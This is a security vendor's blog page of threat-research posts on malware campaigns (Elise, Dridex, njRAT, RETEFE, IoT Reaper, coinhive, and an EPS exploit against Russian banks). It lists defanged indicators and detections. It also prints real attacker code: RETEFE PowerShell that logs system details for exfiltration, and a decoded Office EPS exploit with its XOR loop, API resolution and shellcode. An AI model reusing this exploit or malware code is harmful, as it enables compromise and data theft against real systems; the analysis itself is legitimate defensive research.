Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > Author: Kevin Stear
1 2 Previous Next

RSA NetWitness Platform

20 Posts authored by: Kevin Stear Employee

During the last weeks of January (2018), nation state actors from Lotus Blossom conducted a targeted malspam campaign against the Association of Southeast Asian Nations (ASEAN) countries.  Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017, this new activity clearly indicates the association (ASEAN) clearly remains a priority collection target in the region.  This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object, the Elise backdoor.  



The Elise backdoor is not new malware and has been successfully diagnosed in the past by Industry researchers (e.g. Palo Alto Unit 42's 2015 report) and more recently by Volexity and Accenture.  Each of these are valuable resources to understanding the Elise malcode, infection process, and known capabilities of the backdoor.  In addition, a current ANY.RUN playback of our observed Elise infection is also available.


Upon opening of the MS Word document, our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module, 'NavShExt.dll', which is then injected into iexplore.exe to install the backdoor, begin collection, and activate command and control.  



Moving through the infection process, NetWitness Endpoint detects the initial exploit (CVE-2017-1182) in action as the Microsoft Equation Editor, 'EQNEDT32.exe', scores high for potentially malicious activity.  This same process was also flagged in our playback.



Our malware then spins up an instance of 'iexplore.exe' and injects 'NavShExt.dll' into that process.



While this is happening, the malware establishes persistence by creating an autorun in the registry and then also creates 'thumbcache_1CD60.db' at 'Users\admin\AppData\Local\Microsoft\Windows\Explorer\' to store harvested data.



As the infection process completes, we now observe Elise network activity (e.g., exfil of victim data and C2) through a conveniently hidden instance of Internet Explorer. 



This traffic was also observed in NetWitness Packets, as the malware verifies the host IP address prior to kicking off C2 out to 103.236.150[.]14, which is likely compromised infrastructure.



Take note of the cookie set in this HTTP POST, because Lotus Blossom actors go to significant lengths to protect this data via both B64 encoding and AES encryption.  The actual C2 for Elise takes place over "cookie" code and (rarely) body content.



Other infections (from the identical payload) each generated their own decoy domains to populate the host header, but in every case actually used the same hard-coded IP address, 103.236.150[.]14.



After our Elise infection had run for about a day, we were visited by the threat actor.  While it's unclear exactly what the actor may have been looking for, our infected (sandboxed) machine was not it and the backdoor was deleted.



Based on both previous activity and this current Lotus Blossom campaign, it is clear that we are witnessing the continued rise of cyber tradecraft and activity from nation-states in the Southeast Asian theater.


Thanks to Kent Backman, Justin Lamarre, and Ahmed Sonbol for their assistance with this research.


The following samples were used for this analysis:

  • Malicious RTF Dropper (SHA256):  d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7f39d27c80d85f4a49c411
  • NavShExt.dll (SHA256):  6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79


During the week following the Orthodox New Year (January 14, 2018), the Necurs botnet re-emerged on the scene with a malspam campaign spreading an old friend, the Dridex banking trojan. 


This activity was first identified by a Forcepoint Labs report, which found the campaign using compromised FTP sites rather than HTTP links (as historically observed) for the download of malicious documents.  According to Forcepoint, the malicious emails were sent "primarily to .COM top level domains (TLDs) with the second, third and fourth top affected TLDs suggesting that major regional targets were France, the UK, and Australia respectively".


A recent post by also details observations from this renewed Dridex campaign activity. The screenshot below is an sample email with an embedded FTP link for the download of a malicious MS Word document.



This FTP link leads to the direct download of our malicious Word document.



This malicious MS Word document contains some less than savory VBA code as flagged by RSA's pre-release Whatsthisfile capability.  This appears consistent with maldocs observed from 21-22 January campaigns that appear to be using macros for exploit and payload delivery (whereas early campaigns as reported by both Forcepoint and Broadanalysis observed DDE exploit CVE-2017-11826 to begin infection chain).



This VBA code in our malicious document auto-launches and via some heavily obfuscated powershell retrieves the Dridex payload, 'oojsd355'.



NetWitness Packets flags this download activity through a number of suspicious tags in the service.analysis, session.analysis, and file.analysis fields.



Post infection, we observed the typical encrypted Dridex Command and Control (C2) callbacks (sample below).



NetWitness Packets also detects this activity and flags these self-signed certificates in use over both standard and non-standard SSL ports. 



Thanks to Ahmed Sonbol for his assistance in this research, and all related IOCs can be found below.


Delivery documents (SHA256):

  • 7dd1f097ea8f60a291f3840c34d20ca97f0efd68f6ff38a25f8648fdd8c52670
  • 806355b21bcc61294bba6e70b737388188e6af0b2e0b0703b49034a9bd660762
  • 352bcc2deec893c79e42dc3d9fa5136c1397484651a9f8af509f01eabba21301
Delivery domain:
  • techknowlogix[.]net
Delivery URL:
  • hXXp://techknowlogix[.]net/ooJsd355
Dropped binary (SHA256):
  • 3b68424fc2aa42762427789163dc1643b11760ccc3ad27dac0043b2450856b3f
C2 communication:
  • : 4343 (C2)
  • : 443 (SYN only)


During the last several weeks of 2017 and now well into early 2018, RSA FirstWatch has observed a malspam campaign delivering njRAT, a robust and publicly available remote administration tool (RAT) with capabilities for remote desktop, file manager, remote camera, remote keylogger, DOS attack, and run file (from link, disk, or script).


One such event occurred on January 10, 2018, with likely targeted malspam delivery of a malicious MS Word document, 'Pro Forma Invoice.doc'.



As we can see by RSA's pre-release capability, some highly suspicious VBA code is embedded in the delivery document.



This VBA code effectively calls powershell to retrieve a njRAT payload from an open directory on eagleepcisocks[.]com, hosted on 162.144.63[.]238.



It's worth noting that a very similar powershell drop method has been recently been observed for Agent Tesla deliveries as reported by


Network activity for the njRAT payload delivery is below.





You can also see the whole thing happen live on here.  


Post-infection, we immediately begin to see indications of active Command and Control (C2) out to 212.83.167[.]116, which appears to be a somewhat unsavory machine.



This activity is detected by NetWitness Packets and flagged with the following meta data.



Thanks to Ahmed Sonbol, @Zerophage1337@James_inthe_box for their assistance with this research.



Just in time for the holiday season, a new Monero cryptocurrency mining campaign has kicked off during the first weeks of December.  Unlike the plethora of other mining malware thus far in 2017, this new campaign is a sophisticated multi-staged attack that leverages NSA-attributed EternalBlue and EternalSynergy attacks to opportunistically spread and 'worm' across victim networks.  A recenF5 Labs report dubbed the campaign “Zealot” based on the name of the zip file containing the python scripts with the NSA-attributed exploits.


Given the nature of the campaign, it wasn't surprising to see Zealot activity hit RSA FirstWatch infrastructure.  As noted in the F5 Labs report, clear Apache Struts CVE-2017-5638 exploit attempts were observed.



This 'apache struts exploit attempt' activity was detected and registered as meta in the Indicator of Compromise field of NetWitness Packets.



Interestingly enough, the expected DotNetNuke (DNN) vulnerability (CVE-2017-9822) exploits were not observed against our infrastructure; however, FirstWatch did observe previously unreported ' in JMS over HTTP Invocation Layer of JbossMQ' (CVE-2017-7504) exploit attempts in conjunction with the Zealot Campaign.  



On the Windows side of these exploits, the payload observed was 'xmrig.exe', a popular Monero miner.  (Note: Aeon mining was also noted in conjunction with Zealot activity).



This activity is detected by NetWitness Packets and 'monero mining' is registered as meta within the Indicators of Compromise field.




Kevin Stear

Rise of the IoT Reaper

Posted by Kevin Stear Employee Oct 26, 2017

During the month of October, and there’s been a disturbance in the force… the growing presence of a new Internet of Things (IoT) botnet, dubbed ‘Reaper’.  Initial research published by Checkpoint and Qihoo indicates that the IoT Reaper botnet may have already infected more than 2 Million devices, making it one of the most dangerous botnets in the world.


From a NetWitness Packets detection standpoint, FirstWatch has observed Reaper activity since the middle of October.  These attacks are commonly carried over TCP from ephemeral ports to a common set of destination ports as depicted below.



The following Reaper exploit attempts were observed attacking RSA FirstWatch sinkhole infrastructure on October 20th from a likely compromised (i.e., Reaper infected bot) Iranian based source IP address, 84.241.31[.]227.


D-Link Devices - 'command.php' Unauthenticated Remote Command Execution (Metasploit):


Wireless IP Camera (P2P) WIFICAM GoAhead Backdoor / Remote Command Execution:


Checking to see if the previous exploit worked (thanks @VK_Intel):


Unknown Credential Stealing Exploit:


D-Link Devices - 'hedwig.cgi' Buffer Overflow in Cookie Header (Metasploit):


Linksys WRT160N v2 - 'apply.cgi' Remote Command Injection (Metasploit):


Netgear DGN Devices Unauthenticated Command Execution:


Linus System Files Information Disclosure:


Notable meta tagging for this activity within Netwitness Packets can be seen below.


RSA FirstWatch has further quantified IoT Reaper attacks in the wild from several thousand source IP addresses, which have been added to the FirstWatch C2 IP feed available in RSA Live and tagged with the following meta data:

  • threat.category = ‘botnet’
  • threat.desc = ‘reaper’


Thanks to Kent Backman (RSA FirstWatch), Andre DiMino (DeepEnd Research), Chris Doman (ThreatCrowd), and Jaime Blasco (AlienVault) for contributing to this research.


During the first week of October 2017, RSA FirstWatch identified a Malspam campaign targeting Swiss industry with malicious MS Word documents carrying the RETEFE Banking Trojan.


Much of Europe has been routinely targeted by these actors for the last several months, and there is little sign of the RETEFE campaign letting up, as evident in numerous VirusTotal submissions of recent dropper documents:



These dropper hashes are all German language MS Word docs with varying properties are essentially the same W97M/Downloader, where malicious code is located in identical VBA macros.  And upon submitting one of the MS Word delivery document to RSA's pre-release WhatsThisFile service, we are immediately greeted with a threat score of 100.  (Note:  The underlying VBA code streams in each of these Office documents are identical.  The malware author attempted to avoid detection by changing file properties (e.g., Author) on each of the documents.  This resulted in unique file hashes for each document, but, the resulting codeset remained the same). 




Below are snapshots from our Cuckoo detonation (of one of the dropper documents) and the corresponding network traffic as seen by RSA NetWitness, both of which we'll walk through to show how the malicious code delivers a successful RETEFE infection.  (Note: the entire PCAP from our sandbox is available at GitHub - netwitness/retefe: retefe banking trojan.) 



As the document is first opened, embedded VBA code is automatically run via a Document_Open()subroutine contained in the ThisDocument VBA Stream as shown below.



The Document_Open() subroutine begins a long series of de-obfuscation steps which ultimately yields a base-64 encoded payload as shown below.  



This payload is base-64 decoded in order to obtain the second stage of the dropper attack as shown pasted below.



This stage of the attack utilizes PowerShell to launch a hidden window, which attempts to download malware from each of 5 sites specified in the payload.  This payload is launched via the VBA.Shell() command in the f9TZtz1 VBA code stream as shown in the following two WTF screen shots.



NetWitness Endpoint (as shown in the steps and annotated in the graphic below) easily follows this behavior. 

1. This begins the launching of the doc file from Internet Explorer which calls Microsoft Word.

2. Once ‘Enable Content’ is clicked, WINWORD.exe calls powershell to retrieve content from a few different websites and save as 65536.exe.

3. Powershell creates a process with the downloaded content as 65536.exe

4. The exe then calls wscript to launch a javascript file from an extracted RAR archive file.

5. Next wscript is writing a ps1 (powershell) script.

6. Wscript then calls powershell to launch the newly created VHSjWECxz.ps1 file. We also see powershell writing the 7za.exe file.



NetWitness Packets observes the first four download attempts fail (via 404) and catches the successful download of 'wluheol.exe', the actual RETEFE payload, from thomasamericalatina[.]net hosted at 190.0.230[.]91, under a Costa Rican based domain name and web-hosting service, Cyberfuel[.]com.


Below is a Maltego snapshot of the numerous attempted (failed and successful) RETEFE delivery domains with some basic passive DNS enrichment.


With regard to the 'wluheol.exe' payload (locally stored as 65536.exe), WTF shows us some interesting things are going on here (e.g., 'missing file properties' and a 'major linker version does not match fingerprint'), but a more thorough analysis of the payload is warranted.
Now this gets interesting, at the end of 'wluheol.exe' (correct offset and length determined by WTF) payload is a PKZIP file, which once unzipped reveals a Javascript payload that is run by the EXE as the last stage of the infection.
This Javascript is HEAVILY OBFUSCATED and requires many rounds of decoding (e.g., js-1.js -> js-decoded.js  -> js-decoded-2.js -> js-decoded-3.js -> js-decoded-4.js and each of these are payloads that get run), but reveals numerous artifacts that confirm (as detailed in the previous Proofpoint analysis) this is in fact the RETEF banking trojan.  For example, lines like this: 



Decodes to this fun registry key:


HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect

Here are some other strings that are base64 encoded in the payload:



HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL






taskkill /F



taskkill /F /im firefox.exe



taskkill /F /im chrome.exe


The largest of all base64 payloads is in the last sequenced file in the zip (js-decoded-4.js), which contains the base64 decoded blob found in stage 3 (js-decoded-3.js).  It is also ripe with artifacts, but is too big to paste here.  A zip (password 'infected') of all the decoded payloads has been posted to FirstWatch's public github repo at GitHub - netwitness/retefe: retefe banking trojan


During the execution of the malware (as described above), we begin to see some known characteristics and behaviors associated with RETEFE.  The download of Tor and socat are our first keys.



Tor with socat (acting as a proxy) is quickly put to use as the malware establishes command and control (c2) via a number of tor relays, as observed in the highlighted traffic below over ports 9001 and 443.




Again NetWitness Endpoint demonstrates its utility here (as annotated in the steps and graphic below).

8. Powershell is called upon again which launches cmd.exe. This time, it runs bitsadmin to download the TOR client.

9. EXE is called upon to extract the downloaded TOR content into the "C:\Users\analyst\AppData\Roaming\Identities" directory.

10. Next, mshta.exe is called to launch the TOR process.

11. We next see 7za.exe extracting more content into the “Identities” directory after another powershell script was run.

12. Here, we can see the malicious code launch ‘socat.exe’ and started a SOCKS tunnel to a TOR node on ports 5555 and 5588.  It also stopped any running Chrome, Firefox or Internet Explorer browsers.



In addition the the Tor connections, the malware also employs an alternative exfiltration method via FTP to a server hosted on world4you[.]com.  SALES05.log is the exfiltrated file, whose name is based on the infected machine, in this case ‘SALES05’.



This exfiltration is done via the J/S payload in the Zip file at the end of wluheol.exe', where there are several lines of code in the last J/S file that provide some insight into exactly what's being exfiltrated in this log file.  


   LogWrite("OS info: {0}" -f $wininfo -join ");
   LogWrite("Powershell version: {0}" -f $version);
   $pac=Get-ItemProperty 'hkcu:\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\'|Select -expand AutoConfigURL -ErrorAction Stop;
   LogWrite("Pac setted: '$pac'”);
   LogWrite("Certs installed: '{0}'" -f ($Certs -join "; "));
   LogWrite("Proccess list:`n{0}" -f ($proc -join "`n"));
   LogWrite("List dir [{0}]: {1}" -f ($DestTP, (($dirs|Select -expand Name) -join "; ")));
   LogWrite("Av installed: '{0}'" -f ($avlist -join "; "));


It is believed that the actors are/were leveraging the below compromised site to access this FTP exfiltration.



As the infection persists over the course of many hours, we also observed heavy periodic beaconing in NetWitness Packets.



Thanks to Christopher Ahearn, Kent, and Ahmed Sonbol for their contributions to this research.  All related Indicators of Compromise (IOCs) have been added to the FirstWatch C2 Domain and C2 IPs feeds and are available in RSA Live.


Dropper hashes:





RETEFE Delivery domains:







RETEFE Payload hash:



RETEFE C2 domains (Tor relays):









Alternative exfil domain:


Over the past several months, RSA FirstWatch has been avidly tracking the rise of crypto-currency mining.  Most of our early research here focused on the malicious delivery of mining software to victim machines, e.g. our recent work against Monero mining.  However, the recent introduction of javascript-based miners has fundamentally shifted the role mining may play across the Internet.


"Coinhive offers a JavaScript (node.js) miner for the Monero Blockchain that you can embed in your website. Your users run the miner directly in their Browser and mine XMR for you in turn for an ad-free experience, in-game currency or whatever incentives you can come up with".  This is a legitimate capability that we expect to see gain significant traction (over ads in many cases) across all types of verticals that rely on web-presence.  Take for example Showtime's recent use of Monero miners, the exact intent of which still remains a bit unclear


courtesy of 


Unfortunately, it has also become very clear that a number of less reputable sites intend to leverage coinhive for the purposes of "drive-by mining", a term coined by Jerome Segura (@Malwarebytes) in a recent post entitled 'Drive-by mining and ads: The Wild Wild West'.


The NetWitness screenshot below provides a clear example of drive-by mining in the response during the initial connection to a streaming video site, sledujserialy[.]sk (hosted at 104.31.74[.]41).



Near the bottom of this screenshot, note the tell-tale 'coinhive.min.js' representative of Monero mining activity.



The challenge from a NetWitness visibility perspective comes after this initial connection, where SSL encryption takes over.  While we do not believe this to be a ever-present indicator, we did note '' in the SSL Subject meta data field.



Our sample domain wasn't the only service demonstrated activity of this type though; Bad Packets report on Twitter led us to a quick Censys search for 'coinhive.min.js', which reveals more than 1,000 services currently using this javascript library.  



To further understand the scope of drive-by mining abuse, let's take a look at related SSL certificates in Censys, and please note the warning that many of the thousands of results could be potentially fake.



When we limit the search Censys for "parsed.names:" as suggested, there is a dramatic drop in the number of SSL certificates returned.  This seems like a rather large delta, which speaks to the potential volume of other coin-hive centric projects being developed and deployed across the Internet.



FirstWatch anticipates that customers will likely see a significant increase in mining and specifically in-browser mining activity such as coin-hive in the months to come.  A preliminary list of sites using coinhive javascript to actively mine monero can be found at Enabled Sites Mining for Monero -


Thanks to Ahmed Sonbol for his contributions to this research.


By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials. Much less common is a phishing campaign targeting the banks themselves. Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more hardened security posture than the average bank’s customer.


Target: multiple bank offices in Russia

But still, payoff potential for a successful bank compromise might be considerable. In this threat advisory, we describe a Russian-language phishing campaign active during the second week of August 2017, targeting not the usual banking customers, but the Russian banks themselves. And in an unusual reversal of typical bank phishing social engineering tactics, the phishing emails purport to be from the bank’s customers. Consider the following phish delivered to the email address displayed on the bank’s website.   In the email screenshot with our added machine translation from Russian, notice the subject line and message body text reflecting a “business customer upset about extra charges on his credit card” social engineering theme (Figure 1).


Figure 1 Phishing email targeting Russia bank #1, machine translation in red boxes


Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting “Russia bank #2.” While this email is part of the same campaign, note that the body text, subject lines, file name, and sender email is different from that targeting Russia bank #1, suggesting at least some manual actor modifications to the phishing email construction.


Figure 2 Phishing email targeting Russia bank #1, machine translation in red boxes


RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit. The disgruntled banking customer was consistent throughout; illustrated below are a few attachment examples:


Exploit attachment #1 was deployed with the following names in Russian:

Выписка по счету.docx ("Account statement")

Выписка по карте.docx ("Card statement")

Персональные данные.docx ("Personal information")


Exploit attachment #2 was deployed with the following names:

Выписка по карте.docx (or “Card statement”)

Выписка по карте клиента.docx (or “Customer card statement”)


Exploit attachment #3 was deployed using the following name:

Выписка.docx (or “Statement”)


Note: Hashes of all samples will be included in the Appendix of this analysis.


As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign was subsequently brought to the attention of the Central Bank of Russia’s FinCERT by one or more of the banks being targeted.  On 17 August 2017, the day we were finishing up this analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication.


An exploit in someone else’s wrapper?

Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files. FireEye discovered a malicious docx exploiting a zero day vulnerability in Microsoft’s Encapsulated Postscript (EPS) filter, in the summer of 2015. This EPS exploit was assigned CVE-2015-2545. In March 2017, FireEye observed both nation state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with an update in April 2017. So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets haven’t applied the April patch that would make every EPS exploit futile.


Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level. In fact, all 23 known docx files used in this campaign are very nearly identical, with the same 12 component files. Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a unique hash with each build.


Figure 3 Tree view of docx container file used to target Russian banks last week


Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18th. This is no coincidence; in fact, those same docx component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs, back when this EPS exploit was still a zero day (Figure 4).


Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors


So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing.



Figure 5 Tree view of "Trump" exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation


Of special note is the common app.xml file, which comes directly from the decoy document in the “Trump” exploit file. This app.xml file contains the same URL to the California Courier website (www[.]thecaliforniacourier[.]com), where the text was copied from “Trump’s Attack on Syria: Wrong for so Many Reasons” as described by ESET in their exploit analysis.


Clearly there was some “borrowing” going on between this current bank-targeting campaign and the previous nation-state espionage campaign. Does this suggest that these campaigns and actors are in any way complicit/related?  No. On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the “Trump” campaign) would almost certainly NOT be involved in broadly exploiting Russian banks a few months later.  That being said, an alternative hypothesis is that these bank-targeting actors purposely purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers.  As we'll see shortly, the attackers also interestingly signed (commented) their malware with lyrics from Slipknot's Snuff.


Figure 6 Google result with Slipknot Snuff lyrics 


Which exploit is this?

Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AV’s that have had plenty of time to add detection for known EPS exploits. With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineering’s Kevin Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment.


Step 1.  Unzipping the sample DOCX file, reveals the following embedded EPS Image file

unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 

Archive:  ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8

  inflating: [Content_Types].xml     

  inflating: docProps/app.xml        

  inflating: docProps/core.xml       

  inflating: word/document.xml       

  inflating: word/fontTable.xml      

  inflating: word/settings.xml       

  inflating: word/styles.xml         

  inflating: word/webSettings.xml    

  inflating: word/media/image1.eps   

  inflating: word/theme/theme1.xml   

  inflating: word/_rels/document.xml.rels  

  inflating: _rels/.rels        


Step 2. Examining the app.xml file, we can see a suspicious URL artifact  

cat docProps/app.xml 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Properties xmlns="" xmlns:vt=""><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>2</Pages><Words>958</Words><Characters>5462</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>45</Lines><Paragraphs>12</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>6408</CharactersWithSpaces><SharedDoc>false</SharedDoc><HLinks><vt:vector size="6" baseType="variant"><vt:variant><vt:i4>4456521</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>5</vt:i4></vt:variant><vt:variant><vt:lpwstr>hXXp://www[.]thecaliforniacourier[.]com </vt:lpwstr></vt:variant><vt:variant><vt:lpwstr></vt:lpwstr></vt:variant></vt:vector></HLinks><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>


Step 3.  Examining the image1.eps file, we can see:

  1.  A likely multibyte XOR key (<7a5d5e20>)
  2.   Quoting lyrics from Slipknot's Snuff in the comments (%%Myheartisjusttoodarktocare, %%Icantdestroywhatisntthere)
  3.  A likely XOR encoded hexadecimal payload (<017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491
  4. 9297e421f3a…>)  
  5.  A likely XOR decode loop: (0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put }  for A1 }
  6.  A likely execution of the payload once it is decoded (exec )
  7.  Repetitive obfuscated comments translating to “kasper-pidor kasper-pidor kasper-pidor kasper-pidor” scattered throughout to make the code that make it harder to read.  These are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly? (e.g., %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220)


Dump of image1.EPS code:

%!PS-Adobe-3.0 EPSF-3.0

%%BoundingBox:   31   24  51  654

%%Page: 1 1

 /Times-Roman findfont globaldict



begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3 { /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show }  /min { 2 copy gt { exch } if pop } bind def  /max { 2 copy lt { exch } if pop } bind def

/A3{ token pop exch pop }




def /A2 



                                        <7a5d5e20> def /A4{



/A1 exch



                                def 0 1 A1 length 1 sub





{ /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor



 put }  for A1 }




def <017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491





%% quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646








A4  %%6b61737065722d7069646f72206b61



                                A3 %%6b61737065722d7069646f72206b61



                                                                exec %%6b61737065722d7069646f72206b61





         showpage quit


Step 4. Decoding the payload

Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XOR’ing each byte of the payload with its (position % 4) in the XOR key. For example, position 0 in the payload is XOR’d against 0x7a, position 1 is XOR’d against 0x5d, position 2 is XOR’d against 0x5e, position 3 is XOR’d against 0x20.  Then the cycle repeats for subsequent payload bytes.  Code similar to what's pasted below would decode it (acBuffer is payload, acKeys is XOR key).


   for (int ctr = 0; ctr < sizeof(acPayload) - 1; ctr++) {

      printf("%c", acPayload[ctr] ^ (acKeys[(ctr % 4)]));



This results in the decoded payload snippet pasted below.  Highlighted is most likely an encoded payload used in the next stage.  Also highlighted below are Windows DLL and function artifacts indicating maliciousness.


{ /Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8 { /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256 def /A11 A37 A41 idiv def { /A11 A11 1 sub def A11 0 lt{ exit } if A26 A11 A41 mul A54 putinterval } loop A26 } bind def /A61 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt { 1 } { 0 } ifelse sub 16 bitshift or } bind def /A60 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or } bind def /A17 { /A46 exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60 } bind def /A2 { /A45 exch def /A20 exch def A18 A20 A45 255 and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put } bind def /A47 { A18 exch get } bind def /A29 { 2147418112 and /A56 exch def { A18 A56 get 77 eq { A18 A56 1 A60 get 90 eq { A56 60 A60 A17 dup 512 lt { A56 A60 dup A47 80 eq { 1 A60 A47 69 eq { exit } if } { pop } ifelse } { pop } ifelse } if } if /A56 A56 65536 sub def } loop A56 } bind def /A51 { /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq { pop /A62 A38 A44 128 A60 A17 A60 def /A32 A44 132 A60 A17 def } { 02 eq { /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def } if } ifelse 0 0 20 A32 1 A61 { /A49 exch def /A50 A62 A49 A60 12 A60 A17 def A50 0 eq { quit } if A18 A38 A50 A60 14 getinterval A33 search { length 0 eq { pop pop pop A62 A49 A60 exit } if pop } if pop } for } bind def /A40 { /A27 exch def /A23 exch def /A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29 } bind def /A35 { /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def { /A24 A25 A21 A60 A17 def A24 0 eq { 0 exit } if A18 A58 A24 A60 50 getinterval A42 search { length 2 eq { pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit } if pop } if pop /A21 A21 4 A60 def } loop } bind def /A31 589567 string <00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800d00000000f1ffff7f> A8 def 500 {A31 589567 string copy pop} repeat 1 array 226545696 forall /A19 exch def /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4 { /A64 exch def A7 A64 search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A1 { A7 <50 45> search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 { A3 <50 45> search { length A28 A60 exch pop exch pop } { quit } ifelse } bind def /A15 { A1 64 A60 A17 255 and } bind def A15 6 ne { quit } if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory) A35 def /A67 <94 c3> A4 def /A65 A67 1 A60 def /A66 <c2 0c> A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2 A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52 4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6 <558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed03000083c4088b55fc8982ac0000008b45fc0590000000508b4dfc83c118518b55fc8b82a8000000ffd0508b4dfc8b91ac000000ffd28b4dfc8981b40000008b55fc83c278528b45fc508b4dfc8b91a8000000ffd2508b45fc 


